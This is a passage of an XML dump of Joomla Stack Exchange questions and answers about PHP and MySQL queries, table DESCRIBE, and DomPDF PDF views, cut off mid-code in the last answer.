  <row Id="23571" PostTypeId="1" AcceptedAnswerId="23572" CreationDate="2018-10-11T02:11:57.693" Score="-1" ViewCount="443" Body="&lt;p&gt;I am trying to setup a simple default statement on the results page of a testing system.  This seems like it would be relatively simple, but I cannot get my &lt;code&gt;if&lt;/code&gt; statement to process properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Joomla logic does not seem to be functioning as I would expect and I cannot find clear documentation on it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;test_complete&lt;/code&gt; column holds a binary value.  If the test has been completed, the value in the database is &lt;code&gt;1&lt;/code&gt;, if &lt;code&gt;0&lt;/code&gt; it is not.  Currently it always defaults to &lt;code&gt;0&lt;/code&gt;, even though in the database the test has been completed and the &lt;code&gt;test_complete&lt;/code&gt; column has registered a &lt;code&gt;1&lt;/code&gt; for the user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help or places to start searching would be much appreciated!  I'm new to this so I would not be surprised if I have a very poor approach, but this is by far the best iteration of the last couple days.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDbo();&#xA;$user = JFactory::getUser();&#xA;$query = $db-&amp;gt;getQuery(true)&#xA;        -&amp;gt;select(&quot;test_complete, user_id, test_id, final_Ans from #__calc_results where user_id = $user-&amp;gt;id AND test_id = '1'&quot;);&#xA;&#xA;if (&quot;test_complete = '0'&quot;) {&#xA;    echo &quot;Test not complete&quot;;&#xA;    echo $query-&amp;gt;dump();    // DELETE BEFORE MAKING CODE PUBLIC&#xA;} else {&#xA;    $db-&amp;gt;setQuery($query);&#xA;    $result = $db-&amp;gt;loadObjectList();&#xA;    echo $query-&amp;gt;dump();    // DELETE BEFORE MAKING CODE PUBLIC &#xA;    echo &quot;&amp;lt;p&amp;gt;&quot; . $result-&amp;gt;final_Ans .&quot;&amp;lt;/p&amp;gt;&quot;;&#xA;}      &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12882" LastEditorUserId="12352" LastEditDate="2018-10-11T03:58:19.750" LastActivityDate="2018-10-11T04:02:24.720" Title="How to write a conditional check on a column value with a mysql query?" Tags="|joomla-3.x|php|mysql|conditional-statements|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="23572" PostTypeId="2" ParentId="23571" CreationDate="2018-10-11T03:08:26.690" Score="1" Body="&lt;p&gt;Suggested Code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;try {&#xA;    $user = JFactory::getUser();&#xA;    $db = JFactory::getDbo();&#xA;    $query = $db-&amp;gt;getQuery(true)&#xA;                -&amp;gt;select(&quot;IF(test_complete = 0, 'incomplete', 'complete') AS test_complete, user_id, test_id, final_Ans&quot;)&#xA;                -&amp;gt;from(&quot;#__calc_results&quot;)&#xA;                -&amp;gt;where([&quot;user_id = $user-&amp;gt;id&quot;, &quot;test_id = 1&quot;]);&#xA;    $db-&amp;gt;setQuery($query);&#xA;    $result = $db-&amp;gt;loadObject();  // assuming you only want to access one row of data&#xA;    echo $query-&amp;gt;dump();    // do not show to public&#xA;    echo &quot;&amp;lt;pre&amp;gt;&quot;;&#xA;        var_export($result);&#xA;    echo &quot;&amp;lt;/pre&amp;gt;&quot;;&#xA;} catch (Exception $e) {&#xA;    JFactory::getApplication()-&amp;gt;enqueueMessage(&quot;Query Syntax Error: &quot; . $e-&amp;gt;getMessage(), 'error'); // do not show to public&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT IF(test_complete = 0, 'incomplete', 'complete') AS test_complete, user_id, test_id, final_Ans&#xA;FROM vwxyz_calc_results&#xA;WHERE user_id = 75 AND test_id = 1&#xA;&#xA;stdClass::__set_state(array(&#xA;   'test_complete' =&amp;gt; 'complete',&#xA;   'user_id' =&amp;gt; '75',&#xA;   'test_id' =&amp;gt; '1',&#xA;   'final_Ans' =&amp;gt; 'yep',&#xA;))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You cannot evaluate the value of a column before the query has returned the resultset.  Even if you could, &lt;code&gt;&quot;test_complete = '0'&quot;&lt;/code&gt; wouldn't do what you require.  &lt;a href=&quot;https://3v4l.org/FLmFi&quot; rel=&quot;nofollow noreferrer&quot;&gt;PHP Demo&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Make full use of Joomla's query building methods (&lt;code&gt;from()&lt;/code&gt; and &lt;code&gt;where()&lt;/code&gt;).&lt;/li&gt;&#xA;&lt;li&gt;So that you don't have to write &lt;code&gt;AND&lt;/code&gt; in your WHERE clause, you can declare the criteria as array elements.&lt;/li&gt;&#xA;&lt;li&gt;Assuming you only want to access a single row of data, you should use &lt;code&gt;loadObject()&lt;/code&gt; instead of &lt;code&gt;loadObjectList()&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Alternatively, if you only want the &quot;Test not complete&quot; string OR the &lt;code&gt;final_Ans&lt;/code&gt; value, then this seems more appropriate:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;try {&#xA;    $user = JFactory::getUser();&#xA;    $db = JFactory::getDbo();&#xA;    $query = $db-&amp;gt;getQuery(true)&#xA;                -&amp;gt;select(&quot;IF(test_complete = 0, 'Test not complete', final_Ans)&quot;)&#xA;                -&amp;gt;from(&quot;#__calc_results&quot;)&#xA;                -&amp;gt;where([&quot;user_id = $user-&amp;gt;id&quot;, &quot;test_id = 1&quot;]);&#xA;    $db-&amp;gt;setQuery($query);&#xA;    echo $query-&amp;gt;dump();&#xA;    if (!$result = $db-&amp;gt;loadResult()) {&#xA;        echo &quot;No row found&quot;;&#xA;    } else {&#xA;        echo &quot;&amp;lt;p&amp;gt;$result&amp;lt;/p&amp;gt;&quot;;&#xA;    }&#xA;} catch (Exception $e) {&#xA;    JFactory::getApplication()-&amp;gt;enqueueMessage(&quot;Query Syntax Error: &quot; . $e-&amp;gt;getMessage(), 'error');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2018-10-11T04:02:24.720" LastActivityDate="2018-10-11T04:02:24.720" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="23573" PostTypeId="1" AcceptedAnswerId="23574" CreationDate="2018-10-11T09:27:58.570" Score="2" ViewCount="335" Body="&lt;p&gt;I'm trying to query my &lt;code&gt;jos_rsform_submission_values&lt;/code&gt; table for &lt;code&gt;FieldValue&lt;/code&gt; data in rows with a &lt;code&gt;FieldName&lt;/code&gt; of &lt;code&gt;Container#&lt;/code&gt; which shares a &lt;code&gt;SubmissionId&lt;/code&gt; with another row where the &lt;code&gt;FieldValue&lt;/code&gt; is &quot;Pending&quot; and the &lt;code&gt;FieldName&lt;/code&gt; is &quot;Status#&quot; and the &lt;code&gt;#&lt;/code&gt; after &quot;Status&quot; = the &lt;code&gt;#&lt;/code&gt; after &quot;Container&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is some sample table data, so that I can better express what I'm after:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CREATE TABLE `jos_rsform_submission_values` (&#xA;  `SubmissionValueId` int(11) NOT NULL,&#xA;  `FormId` int(11) NOT NULL,&#xA;  `SubmissionId` int(11) NOT NULL DEFAULT '0',&#xA;  `FieldName` text NOT NULL,&#xA;  `FieldValue` text NOT NULL&#xA;) ENGINE=InnoDB DEFAULT CHARSET=utf8;&#xA;&#xA;INSERT INTO `jos_rsform_submission_values` (`SubmissionValueId`, `FormId`, `SubmissionId`, `FieldName`, `FieldValue`) VALUES&#xA;(129862, 28, 548, 'creationdate', '27-08-2018 10:30 AM'),&#xA;(129863, 28, 548, 'CustomerAccount', 'TEST'),&#xA;(129864, 28, 548, 'otheraccount', ''),&#xA;(129865, 28, 548, 'salesorderno', 'SO-00006296'),&#xA;(129866, 28, 548, 'DocumentUpload', '-'),&#xA;(129867, 28, 548, 'numberofbayan', '1'),&#xA;(129868, 28, 548, 'BayanNo', '189426'),&#xA;(129869, 28, 548, 'portofloading', 'Seaport'),&#xA;(129870, 28, 548, 'containers', '3'),&#xA;(129871, 28, 548, 'Container1', 'TTNU8517512'),&#xA;(129872, 28, 548, 'CargoDescription1', 'Chocolate'),&#xA;(129873, 28, 548, 'containertype1', 'Reefer'),&#xA;(129874, 28, 548, 'purchaseorder1', ''),&#xA;(129875, 28, 548, 'Location1', 'Jeddah'),&#xA;(129876, 28, 548, 'Status1', 'Return Empty'),&#xA;(129877, 28, 548, 'requesteddate1', '18-08-2018 07:00 AM'),&#xA;(129878, 28, 548, 'Container2', 'TCLU1256192'),&#xA;(129879, 28, 548, 'CargoDescription2', 'Chocolate'),&#xA;(129880, 28, 548, 'containertype2', 'Reefer'),&#xA;(129881, 28, 548, 'purchaseorder2', ''),&#xA;(129882, 28, 548, 'Location2', 'Jeddah'),&#xA;(129883, 28, 548, 'Status2', 'Return Empty'),&#xA;(129884, 28, 548, 'requesteddate2', '18-08-2018 07:00 AM'),&#xA;(129885, 28, 548, 'Container3', 'KKFU6780793'),&#xA;(129886, 28, 548, 'CargoDescription3', 'Chocolate'),&#xA;(129887, 28, 548, 'containertype3', 'Reefer'),&#xA;(129888, 28, 548, 'purchaseorder3', ''),&#xA;(129889, 28, 548, 'Location3', 'Jeddah'),&#xA;(129890, 28, 548, 'Status3', 'Pending'),&#xA;(129891, 28, 548, 'requesteddate3', '18-08-2018 07:00 AM'),&#xA;(129892, 28, 548, 'Container4', ''),&#xA;(129893, 28, 548, 'CargoDescription4', ''),&#xA;(129894, 28, 548, 'containertype4', ' '),&#xA;(129895, 28, 548, 'purchaseorder4', ''),&#xA;(129896, 28, 548, 'Location4', '-'),&#xA;(129897, 28, 548, 'Status4', ' '),&#xA;(129898, 28, 548, 'requesteddate4', ''),&#xA;(129899, 28, 548, 'Container5', ''),&#xA;(129900, 28, 548, 'CargoDescription5', ''),&#xA;(129901, 28, 548, 'containertype5', ' '),&#xA;(129902, 28, 548, 'purchaseorder5', ''),&#xA;(129903, 28, 548, 'Location5', '-'),&#xA;(129904, 28, 548, 'Status5', ' '),&#xA;(129905, 28, 548, 'requesteddate5', '')&#xA;&#xA;ALTER TABLE `jos_rsform_submission_values`&#xA;  ADD PRIMARY KEY (`SubmissionValueId`),&#xA;  ADD KEY `FormId` (`FormId`),&#xA;  ADD KEY `SubmissionId` (`SubmissionId`),&#xA;  ADD KEY `SubmissionId_2` (`SubmissionId`),&#xA;  ADD KEY `SubmissionId_3` (`SubmissionId`);&#xA;&#xA;ALTER TABLE `jos_rsform_submission_values`&#xA;  MODIFY `SubmissionValueId` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=133092;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;From the above, only &lt;code&gt;SubmissionId&lt;/code&gt; &lt;strong&gt;548&lt;/strong&gt; has a &lt;strong&gt;Status3&lt;/strong&gt; value of &lt;strong&gt;Pending&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;## SubmissionId    FieldName    FieldValue&#xA;## -----------------------------------------&#xA;##     548         Status1      Return Empty&#xA;##     548         Status2      Return Empty&#xA;##     548         Status3      Pending&#xA;##     548         Status4      &#xA;##     548         Status5&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I need to find the corresponding &lt;strong&gt;Container#&lt;/strong&gt; value:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;## SubmissionId    FieldName    FieldValue&#xA;## ----------------------------------------&#xA;##     548         Container3   KKFU6780793&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Additional details:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Regarding my submitted data, the &lt;code&gt;FieldName&lt;/code&gt; values will begin with one of five strings: &quot;Status&quot;, &quot;Container&quot;, &quot;ContainerType&quot;, &quot;ExpDate&quot; and &quot;Commodity&quot; followed by a number starting from &lt;code&gt;1&lt;/code&gt; but may be as high as &lt;code&gt;10&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;My coding attempt:&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;$db = JFactory::getDbo();&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;$query-&amp;gt;select($db-&amp;gt;quoteName(array('FieldName')));&#xA;$query-&amp;gt;from($db-&amp;gt;quoteName('#__rsform_submission_values'));&#xA;$query-&amp;gt;where($db-&amp;gt;quoteName('FieldName') . ' IN (&quot;Status1&quot;,&quot;Status2&quot;,&quot;Status3&quot;,&quot;Status4&quot; ,&quot;Status5&quot;)');&#xA;$query-&amp;gt;where($db-&amp;gt;quoteName('FieldValue') . ' = &quot;Pending&quot;');&#xA;&#xA;$db-&amp;gt;setQuery($query);&#xA;$result = $db-&amp;gt;loadColumn();&#xA;&#xA;foreach($result as $value) {&#xA;        foreach($value as $key =&amp;gt; $data) {&#xA;         $cut = substr($data, 6);&#xA;         $cut = &quot;Container&quot;.$cut;&#xA;     }&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You will notice I used &lt;strong&gt;substr&lt;/strong&gt; to remove the first 6 letters (Status) from each result. This is to only get the remaining number (either 1, 2, 3, 4 etc. depending on which status is &quot;Pending&quot;). I also then added &quot;Container&quot; to the front of each of the remaining numbers, since the &quot;FieldValue&quot; which I am looking for is &quot;Container1 up to Container10&quot; (depending on which field it is). Remember it is only showing where the status is &quot;Pending&quot;, so it could be one result or 10 results which is retrieved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I thought the easiest way was to simply add the required prefix to each array element; then I select the &quot;FieldValue&quot; from the &quot;SubmissionValue&quot; column where the &quot;FieldValue&quot; is equal to the &quot;FieldName&quot; of one of the results obtained in the previous query.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the code for this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;$query-&amp;gt;select($db-&amp;gt;quoteName(array('FieldValue')));&#xA;$query-&amp;gt;from($db-&amp;gt;quoteName('#__rsform_submission_values'));&#xA;$query-&amp;gt;where($db-&amp;gt;quoteName('FieldName') . ' IN ' . '(' . implode(',', $cut) . ')');&#xA;&#xA;$db-&amp;gt;setQuery($query);&#xA;$results = $db-&amp;gt;loadObjectList();&#xA;&#xA;foreach($results as $value) {&#xA;        foreach($value as $key =&amp;gt; $data) {&#xA;        echo $data.&quot;&amp;lt;br /&amp;gt;&quot;;&#xA;     }&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have tried using &quot;loadRow , loadColumn, loadResult&quot; etc. and none of them work. It's saying I have a syntax error (1064) when I load the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not sure if it is a &quot;SubmissionId&quot; problem. I don't know how to incorporate the SubmissionId into this query though, since the substr will simply remove it in the first query, and then add the prefix in front of it, which it should not do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Query 1 retrieves all &quot;Status&quot; fields where the value is &quot;Pending&quot;.&lt;/li&gt;&#xA;&lt;li&gt;I remove the &quot;Status&quot; from these fields to only have the number remaining.&lt;/li&gt;&#xA;&lt;li&gt;I then add a prefix to these numbers, depending on the field (which are listed above in a paragraph)&lt;/li&gt;&#xA;&lt;li&gt;I now have &quot;Container1&quot; as a result (depending on which number it is; 1 - 10).&lt;/li&gt;&#xA;&lt;li&gt;I then need to find the &quot;FieldValue&quot; for each of the results.&lt;/li&gt;&#xA;&lt;li&gt;I try and use the $cut value in an implode array, but it is not working.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="9578" LastEditorUserId="12352" LastEditDate="2018-10-12T01:56:06.167" LastActivityDate="2018-10-12T01:56:06.167" Title="How to query certain rows from a table based on other associated rows in the same table?" Tags="|php|mysql|database|sql|rsform|" AnswerCount="2" CommentCount="11" ContentLicense="CC BY-SA 4.0" />
  <row Id="23574" PostTypeId="2" ParentId="23573" CreationDate="2018-10-11T12:07:15.220" Score="2" Body="&lt;p&gt;It is best practice to minimize the number of calls to the database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your logic in your two queries can be merged into one like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;try {&#xA;    $db = JFactory::getDbo();&#xA;    $query = $db-&amp;gt;getQuery(true)&#xA;                -&amp;gt;select(&quot;a.FieldName, a.FieldValue&quot;)&#xA;                -&amp;gt;from(&quot;#__rsform_submission_values a&quot;)&#xA;                -&amp;gt;innerJoin(&quot;#__rsform_submission_values b ON a.SubmissionId = b.SubmissionId AND a.FieldName = REPLACE(b.FieldName, 'Status', 'Container')&quot;)&#xA;                -&amp;gt;where([&quot;b.FieldValue = 'Pending'&quot;, &quot;b.FieldName LIKE 'Status%'&quot;]);&#xA;    $db-&amp;gt;setQuery($query);&#xA;    echo $query-&amp;gt;dump();    // never show to public&#xA;    if (!$result = $db-&amp;gt;loadAssocList()) {&#xA;        echo &quot;No rows found&quot;;&#xA;    } else {&#xA;        echo &quot;&amp;lt;pre&amp;gt;&quot;;&#xA;            var_export($result);&#xA;        echo &quot;&amp;lt;/pre&amp;gt;&quot;;&#xA;    }&#xA;} catch (Exception $e) {&#xA;    JFactory::getApplication()-&amp;gt;enqueueMessage(&quot;Query Syntax Error: &quot; . $e-&amp;gt;getMessage(), 'error');    // never show to public&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT a.FieldName, a.FieldValue&#xA;FROM jos_rsform_submission_values a&#xA;INNER JOIN jos_rsform_submission_values b ON a.SubmissionId = b.SubmissionId AND a.FieldName = REPLACE(b.FieldName, 'Status', 'Container')&#xA;WHERE b.FieldValue = 'Pending' AND b.FieldName LIKE 'Status%'&#xA;&#xA;array (&#xA;  0 =&amp;gt; &#xA;  array (&#xA;    'FieldName' =&amp;gt; 'Container3',&#xA;    'FieldValue' =&amp;gt; 'KKFU6780793',&#xA;  ),&#xA;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;By JOINing the table to itself and stipulating that you are only interested in &lt;code&gt;SubmissionId&lt;/code&gt; data that is associated with &quot;Status# = 'Pending'&quot;, you can avoid two trips to the database.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;As for your original snippets... (which I don't recommend that you try to salvage)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You were overwriting your &lt;code&gt;$cut&lt;/code&gt; variable in the loop (not pushing elements into a &lt;code&gt;$cut&lt;/code&gt; array.  It should have been something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foreach($result as $value) {&#xA;     $cut[] = &quot;Container&quot; . substr($value, 6);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then in the next query, you need to single quote wrap your items in &lt;code&gt;IN&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;... IN ('&quot; . implode(&quot;','&quot;, $cut) . &quot;')&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;About performance, there are several different ways to write the query that will provide the desired result, but I don't know just how many rows you have in your project to start an accurate benchmarking test. (and I don't have time to offer this service right now anyhow)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is another query that should perform well:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT a.SubmissionId, a.FieldName AS ContainerName, a.FieldValue AS ContainerValue&#xA;FROM jos_rsform_submission_values a&#xA;INNER JOIN (&#xA;    SELECT SubmissionId, SUBSTRING(FieldName, 7) AS StatusNum&#xA;    FROM jos_rsform_submission_values&#xA;    WHERE FieldValue = 'Pending'&#xA;      AND FieldName LIKE 'Status%'&#xA;) b ON a.SubmissionId = b.SubmissionId AND a.FieldName = CONCAT('Container', b.StatusNum)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2018-10-12T00:10:20.670" LastActivityDate="2018-10-12T00:10:20.670" CommentCount="12" ContentLicense="CC BY-SA 4.0" />
  <row Id="23575" PostTypeId="2" ParentId="23573" CreationDate="2018-10-11T12:18:31.633" Score="0" Body="&lt;p&gt;Assuming this is the complete code and the second code snippet goes right after the first one:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$db-&amp;gt;loadColumn()&lt;/code&gt; returns a simple array but you're running nested &lt;code&gt;foreach&lt;/code&gt; loops which, if you had strict error reporting enabled, would result in a warning:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Warning: Invalid argument supplied for foreach()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Because of this, the &lt;code&gt;$cut&lt;/code&gt; variable is &lt;code&gt;NULL&lt;/code&gt;. You also need to escape strings with &lt;code&gt;$db-&amp;gt;quote()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your first snippet change the &lt;code&gt;foreach&lt;/code&gt; loops to this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foreach($result as $key =&amp;gt; $value) {&#xA;    $result[$key] = $db-&amp;gt;quote('Container' . substr($value, 6));&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then pass &lt;code&gt;$result&lt;/code&gt; instead of &lt;code&gt;$cut&lt;/code&gt; to &lt;code&gt;implode()&lt;/code&gt; in the second snippet.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2018-10-11T12:18:31.633" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23576" PostTypeId="2" ParentId="23557" CreationDate="2018-10-11T12:43:37.087" Score="1" Body="&lt;p&gt;I just spotted out my small but really basic, stupid mistake in my own code (above). So, of course I could not really expect that someone will come and stares at a lot of code and spot any mistake in a big amount of code right away. It took for me like 3 days to spot this tiny, but very annoying problem. The above code is OK, except one thing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;It's very simple:&lt;/strong&gt; I placed the &lt;strong&gt;'joomla.searchtools.default'&lt;/strong&gt; outside of the html &lt;strong&gt;Form&lt;/strong&gt; in my &lt;strong&gt;tmpl/default.php&lt;/strong&gt; file and that is why - of course - it was not responding, and of course I was unable to control, set and get the filters (from requests) due to this simple and very basic mistake I made in the layout. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And earlier I thought that it was a javascript problem. This is just another example of not seeing the wood for the trees... :)&lt;/p&gt;&#xA;" OwnerUserId="12524" LastEditorUserId="12524" LastEditDate="2018-10-11T12:49:34.010" LastActivityDate="2018-10-11T12:49:34.010" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23577" PostTypeId="1" AcceptedAnswerId="23578" CreationDate="2018-10-11T13:40:18.463" Score="1" ViewCount="62" Body="&lt;p&gt;I'm trying to DESCRIBE a table in joomla 3.x  I want to get the column names and the associated details (type etc) into an array.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to get &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Name    Type    Collation   Attributes  Null    Default Comments    Extra&lt;/p&gt;&#xA;&#xA;&lt;p&gt;for any given table&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't find anything in Joomla that tells me how to do that I think the way to go is to use DESCRIBE but I can't find anything in the API that allows me to do DESCRIBE.  I've tried lots of ways of getting the info but no success e.g:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDbo();&#xA;$query = $db-&amp;gt;getQuery(true);   &#xA;$query = &quot;DESCRIBE `##__table_person`&quot;;&#xA;$row = $db-&amp;gt;loadObjectList($query);&#xA;/*while($row ) {&#xA;    echo &quot;{$row['Field']} - {$row['Type']}\n&quot;;&#xA;}*/&#xA;print &quot;&amp;lt;pre&amp;gt;&quot;;&#xA;print_r($row);&#xA;print &quot;&amp;lt;/pre&amp;gt;&quot;;&#xA;exit;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12248" LastEditorUserId="12248" LastEditDate="2018-10-11T14:11:59.810" LastActivityDate="2018-10-11T21:19:00.293" Title="Joomla table DESCRIBE" Tags="|joomla-3.x|php|database|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23578" PostTypeId="2" ParentId="23577" CreationDate="2018-10-11T14:13:54.693" Score="2" Body="&lt;p&gt;This will return an array of objects:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDbo();&#xA;$result = $db-&amp;gt;setQuery('DESCRIBE ' . $db-&amp;gt;quoteName('#__table_person'))-&amp;gt;loadObjectList();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Use &lt;code&gt;loadAssocList()&lt;/code&gt; instead of &lt;code&gt;loadObjectList()&lt;/code&gt; to return an array of associated arrays.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastEditorUserId="12352" LastEditDate="2018-10-11T21:19:00.293" LastActivityDate="2018-10-11T21:19:00.293" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23579" PostTypeId="1" CreationDate="2018-10-11T18:48:43.647" Score="1" ViewCount="1840" Body="&lt;p&gt;I was searching a way to save a layout of my custom component as PDF.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried various libraries JS / PHP.&#xA;What I wanted was utf-8 support, tables, images to be properly saved in the pdf file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I spent the last day trying to integrate the DomPDF library to my component.&#xA;I read numerous guides and howtos with no luck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The major problem  was that Joomla changed the Document Renderer library after version 3.8 (I am not 100% percent about the version) and the latest version of DomPDF which no longer requires the config file [config.inc.php].&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In previous Joomla versions the following guide should work fine : &lt;a href=&quot;https://docs.joomla.org/J2.5:Creating_PDF_views&quot; rel=&quot;nofollow noreferrer&quot;&gt;Creating PDF views&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So using the DomPDF in the default view, was a problem for me, because I wanted the option to have a link to download as PDF from my List view and from my Item view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally I did it using a raw view and a new layout file for clean output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am open to any corrections, suggestions or any other improvement.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;" OwnerUserId="12709" LastActivityDate="2019-11-14T10:54:44.517" Title="Joomla 3.8 PDF view using DomPDF" Tags="|php|joomla3.8|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23580" PostTypeId="2" ParentId="23579" CreationDate="2018-10-11T18:48:43.647" Score="1" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Download the latest release of the &lt;a href=&quot;https://github.com/dompdf/dompdf/releases&quot; rel=&quot;nofollow noreferrer&quot;&gt;DomPdf&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Inside Libraries folder place the a copy of &lt;strong&gt;dompdf&lt;/strong&gt; folder from the release.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a copy of the view file &lt;strong&gt;/components/mycom/views/item/view.html.php&lt;/strong&gt; to &#xA;&lt;strong&gt;/components/mycom/views/item/view.raw.php&lt;/strong&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Remove any scripts scripts and everything else that is useless in the the raw view. This view will be only a save as dialog to download the pdf file.&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;4&quot;&gt;&#xA;&lt;li&gt;Create a new layout in the &lt;strong&gt;/components/mycom/views/item/tmpl&lt;/strong&gt; folder named pdf.php with the following code :&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;The file will not have nothing to display so we will save all the output to a php variable.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;defined('_JEXEC') or die('Restricted access');&#xA;require_once JPATH_LIBRARIES  . '/dompdf/autoload.inc.php';&#xA;use Dompdf\Dompdf;&#xA;&#xA;&#xA;$html ='&amp;lt;style type=&quot;text/css&quot;&amp;gt;';&#xA;$html .='/*place your css if any here*/';&#xA;$html .='&amp;lt;/style&amp;gt;';&#xA;&#xA;$html .='&amp;lt;h1&amp;gt;' . $this-&amp;gt;item-&amp;gt;title . '&amp;lt;/h1&amp;gt;';&#xA;$html .='&amp;lt;div&amp;gt;';&#xA;$html .= $this-&amp;gt;item-&amp;gt;content; //or any other field you like&#xA;$html 